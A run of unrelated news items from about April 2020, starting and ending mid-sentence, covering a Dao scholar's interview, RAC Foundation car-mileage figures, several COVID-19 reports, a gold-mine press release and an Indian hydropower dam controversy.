that paid jobs like becoming teachers, doctors, etc. were for Kinh (Vietnam's largest ethnicity) people, not for Dao. Hence, most of our children had to stop attending higher education when they completed secondary school. I was not an exception. My parents, relatives and neighbours used to say that "girls should not go to school" or "girls just need to know how to write their names, thats enough". So I had to stop going to school when I finished 9th grade. Yen (second from right) and her friends study at the University of Gottingen in Germany. Photo courtesy of Chao Thi Yen What does studying mean to you? Why did you pursue a career full of difficulties and pressure? Primarily, studying meant rice to me and my family. It meant that if I went to school I would have enough rice to eat, and my family could have enough food to survive. It was the only way for us to escape from poverty. Then, going to school had further meaning to me. It helped me find ways to reduce the impact of natural disasters on local communities. In 2016, two years after graduating with distinction from the Vietnam National University of Forestry, I won a full scholarship, worth US$50,000, as part of the European Union's prestigious Erasmus Mundus Programme. The grant allowed me to complete a masters degree in sustainable forest and nature management at the University of Gottingen in Germany and the University of Padua in Italy. What were your feelings when you learned you had won the full-degree Erasmus scholarship awarded by the European Union? It was a super feeling, so much that I didn't know how to express my feelings. I could not do anything except keep shouting WOW WOW WOW and YEAH YEAH YEAH many times. It was unbelievable. My heart was twinkling with the stars. Was studying abroad challenging for you? Not really. I got a fully-funded scholarship programme as you may know so I could focus on my studies without thinking about money and food for my survival. Besides, I met a lot of friends from different countries who were very kind, supportive and willing to help me whenever I was in trouble. Yen (third from left) on a field excursion in Germany. Photo courtesy of Chao Thi Yen You have mentioned how thankful you are for your teachers. Could you say something about them? I have had a gap duration of three years, not on purpose, after I completed secondary school. During this period, my teacher Bui Chi Thanh came to my home many times to convince my parents to allow me to go to school. Fortunately, after three years, my parents changed their minds and allowed me to pursue higher education. When I finished high school, I studied at the Vietnam National University of Forestry with a major in natural resources management, an advanced programme in collaboration with Colorado State University in the US. Here I met Prof Lee McDonald, the co-ordinator of the programme, and Associate Prof Dr Bui Xuan Dung, my thesis supervisor. These two men have inspired and supported me to continue my studying career by introducing me to fully funded scholarship programmes in the US, Japan and Europe. The three of them have been playing very important roles in my life. Without them, I could not have overcome the challenges of my life. You made debut with the book uong Nguoc Chieu Tu Ban Nguoi Dao en Hoc Bong Erasmus (Uphill Road to Erasmus Scholarship). Could you tell our readers about it? This is an autobiography about my path to school. It took me two years to write, a detailed version of my rise from poverty to a position where I could help those who grew up with next to nothing. In fact, I think, in this story, I'm just a character representing upland children who want to go to school. The book not only talks about the difficulties on my way to school but also the stories of my childhood and cultural identity of ethnic minorities of the northwest region. My target group is mountainous children and students who are facing difficulties in achieving their dream of studying abroad, and those who are stuck in their life. The book can help those people have more energy and motivation to overcome the challenges to achieve their goals. Additionally, the book will help adults recall a part of their childhood memories which have been forgotten in a busy life. What is your dream? I hope I will always be strong and optimistic enough to overcome the challenges of life so I can make a contribution to help upland children go to school and support local communities to have a better life with my current and future jobs. I also dream to become a hydrologist, but it seems to be harder now as I am working in a field far from hydrology. Have you got a plan for the future? In the long term, I am hoping to further my studies by perusing a PhD. However, I am not sure as I would also love to work to gain experience and to have financial stability. What will you do for your native village? For my native village, I have not contributed anything yet. However, I am looking for projects in livelihood improvement that are appropriate for my locality. Furthermore, I am looking for educational funding to open a Dao Tuyen language class for local people in my village. Recently, people in my village are becoming aware of the importance of Dao writing as 100 per cent of my villagers are illiterate in the language. My friend and I keep developing the scholarship fund of Prof Lee MacDonald, accordingly, 10 per cent of the revenue from selling the book will be donated to this scholarship fund to give to poor students studying at the Vietnam National University of Forestry and ethnic minority students in the northwest of Vietnam. VNS Ethnic minority women empowered to fight poverty There were times 30-year-old Sung Thi Sy thought of running away to escape her violent husband, who regularly beat her when he was drunk. Sustainable poverty reduction is one of seven national target programs Helping poor households with sustainable livelihoods is a living testament to human rights. One of the biggest concerns for motorists thinking about switching to electric cars is the limited range plug-in vehicles offer. However, new figures show that battery models are being used to cover longer distances annually than conventionally-fuelled vehicles, refuting the belief they are impractical for daily use and only suitable as second car runarounds. In the first three years of owning a new car, Tesla drivers cover an average of 12,459 miles a year. Mercedes owners are second, covering 12,100 miles each year, while Volvo owners average 11,578 miles each year. What range anxiety? Tesla drivers in the UK cover higher annual mileages than owners of any other car, new research by the RAC Foundation has found The analysis carried out by the RAC Foundation found that pure battery-electrics clock up an average of 9,435 miles in each of their first three years on UK roads, equivalent to 26 miles per day. The motoring charity said the numbers show they electric cars are 'not just trophy vehicles' as their average annual mileage is only 9 per cent lower than the figure for all new cars, which stands at 10,377 miles per year - or 28 miles a day. Many motorists believe only cars with petrol or diesel engines are practical to use as a main source of transport, partly due to anxiety about electric batteries running out of charge mid-journey. Petrol models typically only do 7,490 miles in each of their first three years, while new diesel cars cover an average of 12,496 miles per year. A review of the data by each brand showed that new Teslas - which are all pure battery-electrics - rack up a higher average mileage than any other manufacturer, at 12,459 miles. This works out to be 34 miles each day. That is partly due to the popularity of the Model S, which is designed to be suitable for covering long distances. Highest average annual mileage by car brands owned by UK drivers 1. Tesla - 12,459 miles (887 vehicles sampled) 2. Mercedes-Benz - 12,100 miles (43,193 vehicles sampled) 3. Volvo - 11,578 miles (6,135 vehicles sampled) 4. Ford - 11,488 miles (69,650 vehicles sampled) 5. Mitsubishi - 11,456 miles (4,973 vehicles sampled) 6. Volkswagen - 11,282 miles (42,010 vehicles sampled) 7. Citroen - 11,272 miles (16,120 vehicles sampled) 8. Renault - 10,924 miles (21,066 vehicles sampled) 9. BMW - 10,859 miles (29,365 vehicles sampled) 10. Land Rover - 10,716 miles (18,456 vehicles sampled) 11. Audi - 10,639 miles (31,511 vehicles sampled) 12. Peugeot - 10,608 miles (20,605 vehicles sampled) 13. Skoda - 10,569 miles (11,119 vehicles sampled) 14. Jaguar - 10,474 miles (6,743 vehicles sampled) 15. Vauxhall - 10,218 miles (43,381 vehicles sampled) 16. Seat - 9,854 miles (7,877 vehicles sampled) 17. Lexus - 9,645 miles (2,150 vehicles sampled) 18. Nissan - 9,360 miles (29,836 vehicles sampled) 19. Infiniti - 9,265 miles (679 vehicles sampled) 20. Jeep - 9,209 miles (3,101 vehicles sampled) 21. Ssangyong - 9,199 miles (844 vehicles sampled) 22. Mazda - 9,142 miles (6,847 vehicles sampled) 23. Subaru - 9,075 miles (544 vehicles sampled) 24. Kia - 8,958 miles (16,355 vehicles sampled) 25. Hyundai - 8,888 miles (12,041 vehicles sampled) 26. Alfa Romeo - 8,699 miles (888 vehicles sampled) 27. Dacia - 8,642 miles (4,229 vehicles sampled) 28. DS 0 8,493 miles (2,961 vehicles sampled) 29. Maserati - 8,451 miles (429 vehicles sampled) 30. Honda - 8,215 miles (6,815 vehicles sampled) 31. Toyota - 8,179 miles (14,277 vehicles sampled) 32. Mini - 8,087 miles (10,668 vehicles sampled) 33. Porsche - 7,786 miles (2,713 vehicles sampled) 34. Fiat - 7,710 miles (15,476 vehicles sampled) 35. Suzuki - 7,604 miles (5,450 vehicles sampled) 36. MG Motors - 7,445 miles (760 vehicles sampled) 37. Smart - 6,392 miles (3,339 vehicles sampled) 38. Abarth - 6,277 miles (832 vehicles sampled) 39. Bentley - 5,464 miles (517 vehicles sampled) 40. Rolls-Royce - 3,889 miles (141 vehicles sampled) 41. Lotus - 3,739 miles (85 vehicles sampled) 42. Aston Martin - 3,280 miles (294 vehicles sampled) 43. McLaren - 3,012 miles (167 vehicles sampled) 44. Lamborghini - 2,459 miles (139 vehicles sampled) 45. Morgan - 2,441 miles (71 vehicles sampled) 46. Ferrari - 1,883 miles (265 vehicles sampled) 47. Caterham -1,544 miles (63 vehicles sampled) Source: RAC Foundation While their average annual mileage is high, so is the cost of a Tesla. The most affordable car in the range is the Model 3 Standard Range Plus (with a 254-mile range) costing 40,490. The most expensive is the Model X SUV. Order a Model X Performance (with a 301-mile range) and it will set you back 101,390. The Model S - currently costing from 82,190 - is the car the electric car the motoring group found to cover the highest average annual mileage - 12,393 miles, based on a sample of 846 vehicles reviewed. The next most-driven EV in the UK is the Nissan Leaf, though it clocks up just 8,241 miles (1,026 vehicles sampled). Electric cars with the highest average annual miles 1. Tesla Model S - 12,392 miles (846 vehicles sampled) 2. Nissan Leaf - 8,241 miles (1,026 vehicles sampled) 3. Renault Zoe - 5,736 miles (394 vehicles sampled) Source: RAC Foundation In total, the average annual mileage of 47 different car brands was reviewed by the RAC Foundation. Mercedes-Benz owners were found to cover an average of 12,100 miles a year, just ahead of Volvo drivers averaging 11,578 miles per annum. In fourth spot was the UK's most popular car brand, Ford, with 11,488 miles clocked up every 12 months on average, with Mitsubishi in fourth with 11,456 miles a year. Mitsubishi's most popular model in the UK, the Outlander PHEV - which is also the most-bought plug-in hybrid car in the UK - averages 12,500 miles per year, which not only helped push the Japanese brand up the standings but shows that hybrid owners are also doing plenty of miles in their chargeable cars. At the opposite end of the spectrum, owners of Caterhams do 1,544 miles a year on average - which is no surprise given they are usually expensive toys used mostly on weekend or at race circuits. The second least-driven car brand is Ferrari, which owners clearly trying to preserve the value of their pricey Italian supercars by doing just 1,883 miles a year on average. The motoring charity group says the high mileage of Tesla vehicles in general is partly down to the success of the Model S saloon, which offers a driving range of up to 379 miles between charges, according to official tests The range of Tesla cars isn't cheap, though. The most affordable is the Model 3 - priced from 40,490 - while the most expensive is the 101,390 Model X Performance (Model X pictured) The analysis carried out by the RAC Foundation found that pure battery-electrics clock up an average of 9,435 miles in each of their first 3 years on UK roads, equivalent to 26 miles per day Some interesting points form the analysis shows that Tesla owners drive twice as far on average a year than Bentley keepers, while Porsche owners cover more mileage than those who drive Fiats. The analysis - which pre-dates the steep falls in road traffic seen as a consequence of the coronavirus pandemic - is based on the MOT data of more than half a million vehicles. Private cars are required to start having annual MOTs once they are three years old, at which point their mileage is recorded by the test venue. RAC Foundation director Steve Gooding said: 'This study is evidence that battery-electric powered cars are not just trophy vehicles signalling their owners' green credentials, but prior to the lockdown were racking up the miles as everyday transport. 'Tens of millions of people still drive petrol and diesel-powered cars, but this data suggests that owners of electric cars have found them to be a practical proposition, running up the sort of big annual mileages that many of us need to do, challenging preconceptions about their range and the ease of recharging. 'The next big question for all our motoring mileage is what will happen when the Covid-19 lockdown ends. 'Some say our travel behaviour might change quite dramatically as we've mastered online meetings in place of the office routine, but any ongoing desire for social distancing might yet draw us back to our own cars for the trips we make once the travel restrictions are lifted.' Owners of Caterhams do the fewest average annual miles a year - just 1,544 miles. This comes as no surprise given that these cars are usually expensive toys used mostly on weekend or at race circuits The second least-driven car brand is Ferrari, which owners clearly trying to preserve the value of their pricey Italian supercars by doing just 1,883 miles a year on average Figures published by the Society of Motor Manufacturers and Traders show that 38,000 pure battery-electric new cars were bought in 2019, more than double the total in the previous year. Despite the increase, these cars still only held a 1.6 per cent share of the new car market last year. Transport Secretary Grant Shapps has said the ban on sales of new petrol, diesel and hybrid cars and vans could be brought forward from 2040 to as early as 2032 in a bid to meet carbon reduction targets. This sparked criticism from the automotive industry, which claimed it would take more than industry investment to achieve such a timetable. President Recep Tayyip Erdogan said that Turkey will send medical gear including protective suits and masks to the United States on Tuesday to help its efforts to contain the coronavirus outbreak, Trend reports citing Reuters. At a time when even developed countries are asking for Turkeys support, we have offered our support to a wide geography, from the Balkans to Africa, Erdogan told reporters following a cabinet meeting. Most recently, we are sending medical aid to the United States on Tuesday, consisting of surgical masks, N95 masks, hazmat suits and disinfectants, Erdogan said, adding that the shipment would be delivered via a Turkish military plane. Erdogan also said a three-day lockdown would be imposed in 31 cities as of Friday, May 1, and that weekend lockdowns would continue until after Eid al-Fitr in late May. He said a schedule for returning to normal would be announced soon. Turkeys confirmed cases of COVID-19 increased by 2,131 in the past 24 hours, and 95 more people have died, taking the death toll to 2,900, Health Ministry data showed on Monday. Matt Hancock has placed a 100 bet on whether his target of 100,000 coronavirus tests per day will be hit by the end of the month. Appearing on Nick Ferraris LBC radio show on Tuesday morning, the health secretary was grilled about his pledge to ramp up tests for the virus, despite just 37,024 tests being carried out on Sunday. With just two days left to fulfil his pledge, Mr Hancock insisted see his pledge through, but warned it was still a big, big task. The plan was always to have a big ramp-up at the end of April because I spent April putting in place the systems to take this from an individual lab-by-lab process hand-done to an essentially automated process with an automatic application online, he said. Health secretary Matt Hancock previously pledged to hit 100,000 tests a day by the end of April. (PA) Since that went live at the end of last week we have seen a very rapid rise. The information is that 37,000 was the number done on Sunday and theres a plan to ramp it up all week. Latest coronavirus news, updates and advice He added: "We're still on track but it's a big, big task. There's a lot of things that we need to get right so there's no guarantees in this life but we still are on track." Asked whether he would be prepared to place a 100 bet with host Nick Ferrari on whether the target would be hit, Mr Hancock joked: I think Ive got enough riding on this already Nick. The health secretary denied people are experiencing 'lockdown fatigue'. (PA) He eventually agreed to the wager, with the LBC presenter promising to give the money to Hospice UK if the target isnt met by 1 May. Earlier in the interview, the health secretary said he does not think the British public are experiencing "lockdown fatigue" and denied there was a significant appetite for an exit route among the public. "If you look at surveys of the public, if you talk to members of the public, if you look at how much the public are following the measures, the public are following the lockdown brilliantly," he added. Story continues "There's a media debate about it and I understand that. "But actually the proportion of the public who support the lockdown remains absolutely solid. "The number of people who are following the rules remains incredibly high. The number of people who are taking journeys, for instance, has barely changed on three weeks ago." However, he said there are also "clear consequences of the lockdown". "There are social consequences, there's economic consequences, and for some people, especially the shielded, there are health consequences, and we've got to take those into account too." Coronavirus: what happened today? Click here to sign up to the latest news, advice and information with our daily Catch-up newsletter OTTAWA Federal agencies are facing mounting pressure to come clean on how many inmates, if any, theyve released as a result of COVID-19. Hey there, time traveller! This article was published 27/4/2020 (625 days ago), so information in it may no longer be current. OTTAWA Federal agencies are facing mounting pressure to come clean on how many inmates, if any, theyve released as a result of COVID-19. "We're not getting answers; were getting the wool pulled over our eyes here," Manitoba Senator Don Plett said Monday. About a month ago, Public Safety Minister Bill Blair asked the Correctional Service of Canada and the Parole Board to speed up hearings for releasing offenders. But both agencies have so far evaded specifying how many inmates, if any, they've let out either directly due to COVID-19 or with the coronavirus as a contributing factor. A week ago, Blair told the Free Press that "literally hundreds of people have, in fact, been placed back into the community," but his office later told reporters this includes anyone already slated for release. In a Saturday briefing for parliamentarians, the agencies said they release about 600 inmates in the average month, and said that 295 inmates had gotten parole or statutory release between April 1 and 17. That means fewer inmates than normal were being released. Plett said that contradiction means Blair or the two agencies are deceiving Parliament. "Somebodys misleading somebody," said Plett, a Conservative. There have been no COVID-19 cases at Stony Mountain Institution, but fast-spreading outbreaks have occurred at other federal prisons. In order to avoid strain on Winnipegs hospital capacity, Plett said some lower-risk Stony inmates should be put on farms or into monitored house arrest, to create more space in what is now the federal systems largest institution. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Plett said both prison-rights advocates and tough-on-crime groups have a right to know whether federal offenders are being released, echoing comments from other senators and the independent Correctional Investigator. Neither Blairs office nor either agency would make anyone available Monday afternoon for an interview. Instead, Blairs office said the 13,900 current federal inmates is about 275 fewer than the start of March, due in part to provinces diverting offenders into other programs. An emailed statement attributed to Blair said the agencies have streamlined hearings but ensure "that all relevant risk-related information continues to be presented." He has also asked the parole board to extend leniency toward "non-violent and lower-risk inmates" who seek parole before they're eligible, when they are terminally ill or have serious medical issues. dylan.robertson@freepress.mb.ca (Natural News) The Centers for Disease Control and Prevention (CDC) has updated its guidance for COVID-19, the disease caused by the SARS-CoV-2 virus, to include six potential symptoms. Prior to the announcement, the agency had only three listed as official symptoms of COVID-19: fever, cough and shortness of breath. The new symptoms, which were added on Sunday, include: Chills Repeated shaking with chills Muscle pain Headache Sore throat New loss of taste or smell In addition, the agency updated shortness of breath one of the hallmark symptoms for COVID-19 to include breathing difficulties. The updated list is important for the public, as most testing sites require a person to have a COVID-19 symptom before he is tested. The coronavirus has infected 965,910 people in the U.S. and caused 54,876 deaths as of Sunday, according to data from Johns Hopkins University. COVID-19 affects people in different ways. While some show only mild symptoms, others get life-threatening complications. Health experts warn, however, that people with COVID-19 are likely to be most infectious days or weeks before they exhibit any symptoms. (Related: Study: Nearly 8 out of 10 coronavirus patients in China caught it from someone with NO symptoms.) While the CDC did not update its list of emergency symptoms, it did recommend seeking immediate medical attention for the following: Trouble breathing Persistent pain or pressure in the chest New confusion or inability to arouse Bluish lips or face Listen below as Mike Adams, the Health Ranger, talks about how the coronavirus is up to 100 times deadlier than the regular flu: Learning more about the coronavirus The coronavirus has been on a warpath against the rest of the world over the past few months, infecting nearly 3 million people and causing over 200,000 deaths worldwide. In the early stages of the pandemic, the CDC revealed that the hallmark symptoms of COVID-19 include fever, cough and shortness of breath. Since then, researchers have uncovered more COVID-19 symptoms. A study from the University of California, San Diego was the first to report that loss of smell (anosmia) and loss of taste (ageusia) are potential symptoms of COVID-19. In another report, researchers looked at medical records of COVID-19 patients in Wuhan the Chinese city where the pandemic originated and found that around 50 percent reported at least one digestive symptom. Researchers also found a more recent phenomenon, which they dubbed COVID toes. They are purple lesions (very similar to those of chickenpox, measles or chilblains) which usually appear on the toes and normally heal without leaving a mark, Spanish health authorities said in an official statement. In a report by the International Federation of Podiatrists, experts discussed the case of a 13-year old boy from Italy who first complained of foot sores. The symptoms then progressed to fever, muscle pain and intense itching of the foot lesions. Doctors from Mount Sinai Hospital in New York have also reported that in younger adults, the coronavirus causes sudden strokes, which could be a result of blood clotting issues. The virus seems to be causing increased clotting in the large arteries, leading to severe stroke, explained Dr. Thomas Oxley, a neurosurgeon at Mount Sinai. Our report shows a sevenfold increase in incidence of sudden stroke in young patients during the past two weeks. Most of these patients have no past medical history and were at home with either mild symptoms (or in two cases, no symptoms) of COVID. Learn more about the ongoing coronavirus pandemic at Pandemic.news. Sources include: Fox8.com CDC.gov Coronavirus.JHU.edu ScienceDaily.com LiveScience.com Edition.CNN.com Source: Xinhua| 2020-04-28 22:37:45|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- China's readiness to help other countries combat COVID-19 is inspired by humanitarianism. It has no ideological agenda, and is still less driven by selfish geopolitical interests, Chinese Foreign Minister Wang Yi said Tuesday. Wang, also a state councilor, made the remarks when addressing BRICS Foreign Ministers' Extraordinary Conference on COVID-19 via video link. BRICS is an emerging-market bloc that groups Brazil, Russia, India, China and South Africa. Wang said the fact that China has been a strong force behind international anti-epidemic cooperation is because its own experience has made Chinese people fully empathetic with other peoples suffering from similar difficulties. "We understand that only when COVID-19 is uprooted in the global sphere, can the health and safety of the Chinese people be better protected," he said. Enditem PR-Inside.com: 2020-04-28 09:00:22 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 970 Words ACCESSWIRE News Network888.952.4446 VANCOUVER, BC / ACCESSWIRE / April 28, 2020 / Blue Lagoon Resources Inc. (the "Company") (CSE:BLLG) (FSE:7BL) (OTCQB:BLAGF) is pleased to announce that it is planning to move forward with a Phase One program at the Company's Dome Mountain Gold Mine Project located a short 50-minute drive from the town of Smithers B.C.The Dome Mountain Gold Mine Project holds a Mining Permit and Environmental Management Act Permit (EMA) providing for up to 75,000 tonnes annually plus a long term Milling and Mining Profit Share Agreement with Nicola Mining Inc., which operates a modern mill facility located near Merritt, B.C.Phase One Timing and GoalsThe Company's Phase One program is designed to bring the Dome Mountain Mine project into compliance as per the required amendments to its existing Mine Permit (M-237) and initiate a Phase One in-fill drilling program designed to drill the already identified Inferred mineral resource domain with a focus to upgrade that resource into the Indicated category."From the very beginning when we started to look at acquiring the Dome Mountain Gold Mine, we identified 3 key amendments that were required to its existing mine permit that provides for the mining of 75,000 tonnes annually. We also knew that none of these items were onerous and it was simply a matter of focus, good planning and some capital," said Rana Vig, President and CEO of Blue Lagoon Resources.The in-fill drill program is expected to begin in May or June and be completed on or before the end of August 2020.The Company has not made a production decision with respect to the Dome Mountain Gold Mine Project.Key Amendments Required To Bring Mining Permit to Good StandingUnder the existing mine permit at the Dome Mountain Mine the Company is required to address three main tasks before mining can begin in accordance with the permit. These tasks include: completion of installation of the water treatment plant; completion of the Ground Control Management Plan and completion of an updated Reclamation and Closure plan.Water Treatment PlantThe Company is currently in late-stage discussions with Vancouver based Muddy Waters Technologies that has designed a state of the art electrocoagulation water treatment plan which is very efficient and with a minimum of generated sludge.Ground Control Management PlansThe Company is in advance stage discussions with Cobra Mining for its Ground Control Management Plans which will include the installation of rock bolts within the first five hundred meters of the tunnel at the 1290 level; a vent raise to the 1370 level; and bolting at the 1370 level. The installation of a mine rescue station will also be included as part of this Ground Control Management Plan.Reclamations and Closure planThe Company is also in advance stage discussions with Environmental Resource Management (ERM) to finalize budgets and commence work on its Reclamations and Closure Mine Plan that will address the following required points: End Land Use and Capability Objectives Reclamation Approach Landform Design and Erosion Control Revegetation Strategy Progressive Reclamation Reclamation Monitoring and Research Trace Metal Uptake in Soil and Vegetation Component Specific Reclamation Prescriptions Treatment on Contaminated Soil Decommissioning of Wells A Liability EstimatesIn addition to the Reclamation and Closure Plan, six other plans also need updating and ERM is also expected to be the lead contractor for this completion.Erosion and Sediment Control Water Management PlanSediment Handling Plan Sludge Management PlanML/ARD Management Plan Bat Management PlanInvasive Plant Management PlanCompletion of the above-mentioned tasks will bring the Company into compliance with regards to its existing mine permit that provides for the mining of 75,000 tonnes annually.Phase One DrillingBlue Lagoon has also analysed its existing drill data from the Dome Mountain Mine database and has determined that a Phase One drill program would benefit the overall robust nature of the existing resource. A 2,500-meter drill program has been designed and is expected to begin in June 2020. The drill collars chosen are located on already completed drill pads and existing road infrastructure. Multiple HQ drill holes will be completed from each pad and designed to infill along and in an already defined Inferred resource domain with planned intercepts designed to be within 30 meters area of influence such that the Inferred resource can be upgraded to Indicated. The goal of the drill program will be to upgrade a portion of the inferred mineral resource based on location.Preliminary Economic Assessment (PEA) Report UpdateRoughstock Mining has been working diligently on the PEA announced by the Company on April 23, 2020. The work on the report is on track, with results expected to be announced during the week of May 4th, 2020.The scientific and technical data contained in this news release was prepared and reviewed by William Cronk, P.Geo., a qualified person as defined in NI 43-101 and a consultant to the Company.For further information, please contact:Rana VigPresident and Chief Executive OfficerTelephone: 604-218-4766Email: rana@ ranavig.com The CSE has not reviewed and does not accept responsibility for the adequacy or accuracy of this release.Statement Regarding Forward-Looking Information: This release includes certain statements that may be deemed "forward-looking statements". All statements in this release, other than statements of historical facts, that address events or developments that Blue Lagoon Resources Inc. (the "Company") expects to occur, are forward-looking statements. Forward-looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects", "plans", "anticipates", "believes", "intends", "estimates", "projects", "potential" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur. Although the Company believes the expectations expressed in such forward-looking st In this April 1, 2020, file photo, pedestrians wear face masks to help prevent the spread of the new coronavirus in Pyongyang, North Korea. AP Potential cooperation between the two Koreas in fighting the coronavirus pandemic is not subject to the international sanctions on Pyongyang, a senior presidential official said Tuesday. South Korean President Moon Jae-in on Monday vowed to move ahead with "realistic and practical" cooperation with the North, including a joint response to COVID-19 and border-area disasters, as he marked the second anniversary of the historic summit with his northern counterpart, Kim Jong-un. "This is a humanitarian matter thus not subject to sanctions," a senior Cheong Wa Dae official said in a meeting with reporters. "We expect no major constraints," he said, requesting anonymity. The North has long been subjected to tough sanctions for its nuclear and missile tests. The South plans to prioritize resuming inter-Korean programs that would not undermine the sanctions or getting conditional exemptions. The official also pointed out that Seoul and Washington have had "close consultations" regarding Seoul's proposed inter-Korean railway connection project. "The situation continues to change in each phase of negotiations between the Koreas. I can tell you that the railway project is being sought out under such circumstances," the official explained. The North, according to the official, has not responded to the South's offers. He explained that Seoul remains prepared to move immediately with the projects if Pyongyang accepts the proposals. "We look forward with hope," the official added. On circulating theories surrounding the North Korean leader, the official said that the government has come across no movement or trend to discern the exact state of Kim's health. Unconfirmed media reports have since speculated that Kim might be "in grave danger" after receiving surgery, but South Korean officials have repeatedly disputed these claims, saying no unusual signs have been detected from North Korea. Officials in Seoul said that Kim appears to be staying in the eastern coastal town of Wonsan. The U.S monitoring website 38 North earlier reported that commercial satellite imagery showed a train probably belonging to Kim was spotted in the region since at least April 21. (Yonhap) Another scientist studying rivers in Arunachal Pradeshs Dibang Valley has warned the government about climate change-induced natural hazards that hydropower dams may not be able to withstand. Chintan Sheths letter to the Forest Advisory Committee (FAC) of the Union ministry of environment has come after several scientists issued a similar warning to the government over granting forest clearance for the 3,097 megawatt (MW) Etalin hydroelectric project in an area rich in subtropical evergreen and rain forests and rare flora and fauna. Dibang Valley has close to 300 glaciers in an area of 200 sqkm and there are about 350 glacial lakes covering an area of 50 sqkm. Glacial lakes indicate these areas had much larger glaciers that have now completely melted due to warming, Sheth has said in his three-page letter. Suggesting a cautious approach to siting hydropower projects in the region, the former research fellow with National Centre for Biological Sciences said Arunachal Pradesh has a vast elevation gradient and is drained by Tibetan rivers such as the Subansiri, Lohit and Siang. It is well known that these rivers are primarily fed by melting glaciers, snow cover and monsoon rainfall so are the rivers in Dibang Valley, he said. I have currently mapped and detected rapid melting of glaciers since 2009 on the Mathu (Mathun), Dri and Talo (Tangon) rivers as well as recent emergence and expansion of glacial lakes, he wrote. The Etalin hydroelectric power project proposes two dams on these rivers. The risk of such projects upstream closer to glaciers and glacial lakes is extremely high due to the unpredictable nature of the volume and flow rate during glacial lake outburst floods, he said. Though Sheth has flagged concerns for all projects in the region, FAC is currently considering granting forest clearance to the Etalin hydropower project. The risk of hydropower projects upstream closer to glaciers and glacial lakes is extremely high due to the unpredictable nature of the volume and flow rate during glacial lake outburst floods. Dam breach model studies for hydropower projects account for only extreme rainfall floods. Even if the dam structures do withstand a glacial lake outburst flood, the dam itself acts as a barrier effectively creating a lake that drains after overtopping. In effect, a dam creates a second lake that floods further downstream, after it over-topples, rapidly increasing the energy and flow rate of water, Sheth said. In contrast the natural topography of a river allows the water to spread and dissipate energy across the length and width of the river channel decreasing the flow rates as the flood propagates downstream, he added. Anil Kulkarni, a glaciologist at Indian Institute of Science, said: The glaciers there are relatively small and they have not been studied enough. We have to understand that the climate is changing and will change significantly in the coming years. First, we need to understand how climate will change in the region and how the pattern of stream runoff will be influenced, Kulkarni said over the phone from Bengaluru. Another study needed is will there be a change in the volume of water in future? Also in case of a run of the river projects, the distance between the dam and the outlet is usually dry which causes irreversible changes to aquatic life and water availability for local people. We need to critically study these impacts, he said. HT had reported on April 23 that a sub-committee of FAC, which visited the Etalin hydropower project site in February, has recommended in their report on April 21 that the project of 3097MW can be allowed with a condition that the developer deposit money for wildlife conservation in the area. The project will involve diversion of 1150.08 ha of forest land and felling of 2.7 lakh trees in what is described as subtropical evergreen broad-leaved forest and subtropical rain forests in FACs documents. A decision on the Etalin Hydropower project will be announced when the minutes of the FAC meeting is released, a committee member said. SHARE THIS ARTICLE ON Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Coronavirus update: Oxford's Jenner Institute, which has got a positive response in its clinal tests, hopes that the first million doses of vaccine will be available by September. As the world is scrambling to develop a COVID-19 vaccine, Oxfords Jenner Institute, which got a headstart following the progress in its clinical trials, is now hoping that first few million doses of the vaccine could be made available by September which is months ahead of projections of when such a vaccine would be ready. While most teams have had to start with small clinical trials, scientists at Jenner Institute have made a promising start on developing the vaccine, having already proved in earlier trials that similar immunization was safe for humans, The New York Times (NYT) reported. As a result, tests have been scheduled for the COVID-19 vaccine, involving over 6,000 people by May-end, hoping to show not only that it is safe, but also that it works. With this, the scientists believe that vaccine doses could be ready by September after getting emergency approval from the regulators, as per the article. Last month, researchers at Montanas National Institutes of Health inoculated several rhesus macaque monkeys with small doses of the Oxford vaccine, the report stated. The animals were then exposed to heavy quantities of the virus that is causing the pandemic exposure that had consistently sickened other monkeys in the lab. But more than 28 days later, all six were healthy, Dr Vincent Munster, the researcher who conducted the test, was quoted as saying.The rhesus macaque is pretty much the closest thing we have to humans, said Dr Munster, adding that researchers were still examining the result and that it is likely to be shared it with other scientists in the coming week. Thereafter, the results will be sent for a peer-reviewed journal. Also Read: COVID-19: China says all patients in Wuhan discharged After taking lead in clinical trials, Oxford hoping to get COVID-19 vaccine by September Read @ANI Story | https://t.co/xMDSIVAmxg pic.twitter.com/md6SGoZOZv ANI Digital (@ani_digital) April 27, 2020 Additionally, citing the initial results from Chinese company SinoVac, the NYT article said that immunity in monkeys will not ensure that a vaccine will provide the same degree of protection for humans. But as things stand, the initial results on monkey are the latest indication that Oxford is indeed is leading in the vaccine race. Despite the promising start, nothing is clear until the clinical trial data is made available. Prof. Adrian Hill, the Jenner Institutes director said, We are the only people in the country who want the number of new infections to stay up for another few weeks, so we can test our vaccine. The NYT article stated that coronavirus uses a technology that revolves around changing the genetic code of a familiar virus, which is unlike usual methods, where the vaccine uses a weakened version of a virus to trigger an immune response.But in the technology that the institute is using, a different virus is modified first to neutralise its effects and then to make it mimic a targeted virus in this case, the virus that causes Covid-19, Dr Munster said. Although the UK is making strides in developing the virus, their government has warned that it could have to rely on social distancing measures until next year assuming no vaccine or treatment is found before then.Last week, UN Secretary-General Antonio Guterres had said that the under-trial vaccine for coronavirus must be considered a global public good and made affordable with universal availability. A COVID-19 vaccine must be considered a global public good. Not a vaccine for one country or one region but a vaccine that is affordable, safe, effective, easily-administered and universally available for everyone, everywhere, Guterres had said. For all the latest World News, download NewsX App Yes, I'm wearing a mask in these days of COVID-19, and yes, I know it looks a bit silly. I certainly feel silly, as well as rather like a bank robber, but I'm doing it for you. I've read the pros and cons about wearing masks. Masks are most important in countries where COVID-19 is rife, so much so that the Italian government is posting masks to its citizens and they are compulsory outside the house. New York now requires everyone to wear face coverings in public when social distancing is not possible. Harriet 